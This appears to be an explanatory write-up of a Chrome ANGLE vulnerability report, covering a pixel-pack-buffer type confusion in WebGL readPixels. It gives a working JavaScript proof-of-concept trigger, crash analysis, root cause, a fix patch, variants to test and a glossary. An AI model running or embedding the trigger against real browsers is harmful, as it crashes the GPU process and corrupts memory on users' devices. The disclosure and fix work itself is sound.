const ext = gl.getExtension('EXT_texture_norm16');
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texStorage2D(gl.TEXTURE_2D, 1, ext.R16_EXT, 1, 1);
const fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.FRAMEBUFFER, fb);
gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, tex, 0);
const PBO_OFFSET = 0x10000; // write lands at address 0x10000 in GPU process — not null
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_PACK_BUFFER, pbo);
gl.bufferData(gl.PIXEL_PACK_BUFFER, PBO_OFFSET + 8, gl.STREAM_READ);
gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_SHORT, PBO_OFFSET);
// -> GPU process crash (webglcontextlost), tab survives
Line by line:
gl.getExtension('EXT_texture_norm16')asks the browser for the norm16 extension and stores it inext.gl.createTexture()creates an empty texture object, andgl.bindTexturemakes it the current 2D texture.gl.texStorage2D(gl.TEXTURE_2D, 1, ext.R16_EXT, 1, 1)allocates storage for it: one mip level, theR16_EXTformat, 1 by 1 pixel.gl.createFramebuffer()creates a framebuffer, andgl.bindFramebuffermakes it current.gl.framebufferTexture2D(...)attaches the texture to the framebuffer as colour attachment 0, so the framebuffer now reads from that texture.const PBO_OFFSET = 0x10000;sets the offset to 65536. The comment explains why: the later write should land at address0x10000, not at null, so it is a real address rather than an obvious null pointer.gl.createBuffer()creates a buffer,gl.bindBuffer(gl.PIXEL_PACK_BUFFER, pbo)binds it as the pixel pack buffer, andgl.bufferDatagives itPBO_OFFSET + 8bytes of storage, marked asgl.STREAM_READ(data written by the GPU and read once).gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_SHORT, PBO_OFFSET)reads one pixel at position (0,0) inGL_RGBA/GL_UNSIGNED_SHORTformat at offset0x10000. The comment notes the result: the GPU process crashes, the page receiveswebglcontextlost, and the tab survives.
Step 3: observe the result
On the Windows/NVIDIA setup, with the feature override enabled, the observed behaviour was:
- The PBO readback returned all zeros. The driver rejected the heap address as a PBO byte offset with
GL_INVALID_OPERATION, sotmpPixelswas never filled.GL_INVALID_OPERATIONis the driver's way of saying the request was not allowed. - A
webglcontextlostevent fired because the GPU process crashed from the subsequent write to(GLubyte*)pbo_offsetinRearrangeEXTTextureNorm16Pixels. An event is a notification the browser sends to the page;webglcontextlostmeans the page's graphics context is gone. - Chrome restarted the GPU process, the tab survived, and
webglcontextrestoredfired, meaning the page got a fresh graphics context.
The ASan output from the ANGLE end-to-end test confirms the crash at RearrangeEXTTextureNorm16Pixels line 462, at dstPixel[0] = srcPixel[0].
The write happens before the crash:
(1) functions->readPixels(..., tmpPixels)
→ PBO still bound → driver interprets heap address as PBO byte offset
→ On mobile GLES without full PBO bounds checking: GPU OOB write at ~heap address
→ On desktop GL / drivers with bounds checking: GL_INVALID_OPERATION returned
→ Either way, tmpPixels on CPU remains zeroed, execution continues
(2) RearrangeEXTTextureNorm16Pixels writes zeros to (GLubyte*)pbo_offset
→ controlled-address zero-write in GPU process
→ GPU process crash (confirmed via webglcontextlost in Chrome)
In plain words: first the native read runs with the PBO still bound. On a mobile driver without full bounds checking, that is a GPU out-of-bounds write at roughly the heap address. On a desktop driver with bounds checking, it is just an error. Either way the temporary CPU buffer stays zeroed and the program keeps going. Then the rearrange step writes zeros to the address derived from the PBO offset, which is a zero-write at an address the attacker chose, and that crashes the GPU process.
Root cause
readPixelsRowByRow and readPixelsAllAtOnce reset pack alignment but never clear the pixel pack buffer binding before issuing the internal glReadPixels. setPixelPackState does not touch buffer bindings, and setPixelPackBuffer is the only helper that does, so the caller's PBO stays bound in native GL state. The native driver then interprets the CPU heap pointer as an offset into the PBO.
cannotSetDesiredRowLength is not required for the bug. Both readPixelsRowByRow and readPixelsAllAtOnce are vulnerable; the confirmed Chrome crash path uses readPixelsAllAtOnce, which needs no special pack state.
The report contrasts this with CVE-2026-6296:
| CVE-2026-6296 | This vulnerability | |
|---|---|---|
| Location | BlitGL::copySubTextureCPUReadback |
FramebufferGL::readPixelsRowByRow / readPixelsAllAtOnce |
| Root cause | Pack alignment not reset, so the heap buffer is sized for alignment=1 but written with user alignment, overflowing past the end of the allocation |
PBO binding not cleared, so the heap pointer is type-confused as a GPU buffer offset, giving a GPU OOB write at ~heap address |
| Corruption type | CPU heap overflow (write just past end of buffer) | GPU OOB write at ~heap address plus CPU write at an attacker-influenced address |
| Missing fix | setPixelPackState(alignment=1) |
setPixelPackBuffer(nullptr) |
A CVE is a public identifier for a known vulnerability. The table shows the two bugs are different: the older one was about alignment and overflowed a CPU buffer, while this one is about a buffer binding and writes to the wrong place on the GPU and in the GPU process.
Impact
On the GPU side, the native glReadPixels call with a PBO bound and pixels set to a heap address makes the GPU write pixel data into the PBO at a byte offset equal to that heap virtual address, roughly 120 TB in. On GPU drivers without full IOMMU coverage, which the report calls common on mobile ARM, this write reaches arbitrary GPU-visible memory, corrupting adjacent GPU allocations or other processes' GPU resources. An IOMMU is hardware that limits which memory a device can access; without full coverage, a device can reach memory it should not. On drivers with proper bounds checking it triggers a GPU fault instead.
On the CPU side, RearrangeEXTTextureNorm16Pixels treats clientPixels, the original PBO byte offset cast to a pointer, as a CPU write destination in the GPU process. The write lands at pbo_offset + originalReadFormatSkipBytes. pbo_offset is attacker-controlled through the offset parameter to gl.readPixels, bounded by the PBO size, so this is a controlled-address zero-write in the GPU process that crashes it. The value written is always zero because tmpPixels is never filled by the GPU, but the address is chosen by the attacker within [0, PBO_size - endByte]. The report argues this is enough to null out pointers or corrupt heap metadata at a chosen location, and is meaningfully stronger than a fixed null dereference. Heap metadata is the bookkeeping data the memory allocator keeps about each block; corrupting it can change how later allocations behave.
Because the GPU write completes before any visible crash, the report states this is not a pure denial of service: memory corruption occurs before the crash. A denial of service is an attack that only makes something stop working. The primary real-world attack surface is Android and ChromeOS, where the vulnerable path is enabled by default and no environment variable is needed. On Windows with NVIDIA desktop OpenGL the feature is disabled by Chrome's driver bug list because the driver handles norm16 readback correctly, so the override is required there.
Fix
Add setPixelPackBuffer(context, nullptr) immediately after each setPixelPackState call that precedes an internal functions->readPixels call, mirroring BlitGL.cpp:862-865:
// readPixelsRowByRow (line 1685):
ANGLE_TRY(stateManager->setPixelPackState(context, directPack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
// readPixelsAllAtOnce height > 0 branch (line 1744):
ANGLE_TRY(stateManager->setPixelPackState(context, pack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
// readPixelsAllAtOnce readLastRowSeparately branch (line 1754):
ANGLE_TRY(stateManager->setPixelPackState(context, directPack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
Each added line unbinds any pixel pack buffer before ANGLE does its own internal read, so the driver sees a normal memory address instead of an offset into a buffer. ANGLE_TRY is a macro that checks whether the call succeeded and returns early if it did not.
Variants to test
- Other internal readbacks that reset pack state but not the pack buffer. Grep ANGLE for
setPixelPackStatecalls that precede an internalfunctions->readPixelsand check whethersetPixelPackBuffer(context, nullptr)follows. A positive result is a readback that writes to a temporary CPU buffer while a caller-bound PBO remains bound. - The row-by-row path. The report states
readPixelsRowByRowis vulnerable too. Trigger a readback that takes that path with a PBO bound and a non-zero offset; a positive result is the same GPU process crash withwebglcontextlost. - Other workarounds that allocate temporary buffers. Look for workarounds that pass a heap pointer to a native call whose meaning changes when a buffer is bound. A positive result is a driver error such as
GL_INVALID_OPERATIONon desktop and a crash or memory corruption on drivers without full bounds checking. - Offset selection. Vary the
gl.readPixelsoffset within the PBO size to see where the zero-write lands in the GPU process. A positive result is a crash whose address tracks the chosen offset rather than a fixed null dereference. - Platform coverage. Run the same trigger on Android and ChromeOS devices with GLES drivers that lack native norm16 readback, where the workaround is on by default. A positive result is the crash without any feature override.
Glossary
- ANGLE: the translation layer Chrome uses to turn WebGL and OpenGL ES calls into native graphics driver calls.
- API: a defined set of functions a program can call to ask another piece of software to do something.
- WebGL: a browser API that lets web pages draw 3D and 2D graphics using the graphics card.
- WebGL2: the second, newer version of WebGL.
- OpenGL ES: a graphics API for embedded and mobile devices, similar in purpose to WebGL.
- GLES: short for OpenGL ES.
- Driver: the software that lets the operating system and programs talk to a piece of hardware such as a graphics card.
- GPU: graphics processing unit, the chip that draws graphics.
- GPU process: the separate Chrome process that talks to the graphics card.
- CPU: central processing unit, the main processor that runs ordinary program code.
- Heap: the area of memory a program uses for data it allocates while running.
- CPU heap buffer: a block of ordinary memory allocated on the heap.
- Virtual address: the number a program uses to refer to a memory location, translated by the operating system to a real location.
- Type confusion: a bug where the same data is interpreted as two different kinds of thing by different parts of a system.
- Out-of-bounds write: writing data outside the memory area that was allocated for it.
- OOB: short for out-of-bounds.
- PBO: pixel buffer object, a block of graphics card memory a page can bind so pixel data goes into it.
- Pixel pack buffer: the GL term for a PBO used when reading pixels back from the GPU.
- Binding: telling the graphics API which object (texture, buffer, framebuffer) later calls should act on.
- Framebuffer: the drawing surface the graphics card renders into or reads from.
- Attachment: a texture or buffer attached to a framebuffer as the source or destination of pixels.
- Texture: an image stored on the graphics card.
- Norm16: a 16-bit normalised number format used for texture data.
EXT_texture_norm16: a graphics extension that allows norm16 texture formats.R16_EXT: a norm16 texture format with one 16-bit value per pixel.GL_RGBA: a pixel format with red, green, blue and alpha channels.GL_RED: a pixel format with a single red channel.GL_UNSIGNED_SHORT: a data type meaning unsigned 16-bit integers.glReadPixels: the graphics API call that reads pixels back from the GPU.pixelsparameter: the argument toglReadPixelsthat says where the read data should go.- Pack alignment: a setting that controls how rows of pixel data are padded in memory.
PACK_ROW_LENGTH: a setting that changes how many pixels the driver treats as one row.setPixelPackState: an ANGLE helper that sets pack alignment and related settings.setPixelPackBuffer: an ANGLE helper that binds or unbinds the pixel pack buffer.glPixelStorei: the native GL call that changes pixel storage settings such as alignment.GL_INVALID_OPERATION: a driver error meaning the requested operation is not allowed.webglcontextlost: an event telling the page its WebGL context is gone.webglcontextrestored: an event telling the page a fresh WebGL context is available.- ASan: AddressSanitizer, a debugging tool that detects out-of-bounds and other memory errors.
- CVE: a public identifier for a known vulnerability.
- CVE-2026-6296: an earlier, different ANGLE vulnerability that this report compares against.
- IOMMU: hardware that limits which memory a device such as a GPU can access.
- ARM: a family of processor designs common in mobile devices.
- Denial of service: an attack that only makes something stop working.
- Null dereference: using a null (zero) pointer as if it pointed to valid memory.
- Heap metadata: bookkeeping data the memory allocator keeps about each allocated block.
- Environment variable: a named value set in the operating system that programs can read.
- Flag: a command-line switch that changes how a program starts.
- Macro: a named piece of code that the compiler expands in place.
- Grep: a command-line tool for searching text.
- Mip level: one resolution level of a texture.
- Call chain: the sequence of functions that call one another during an operation.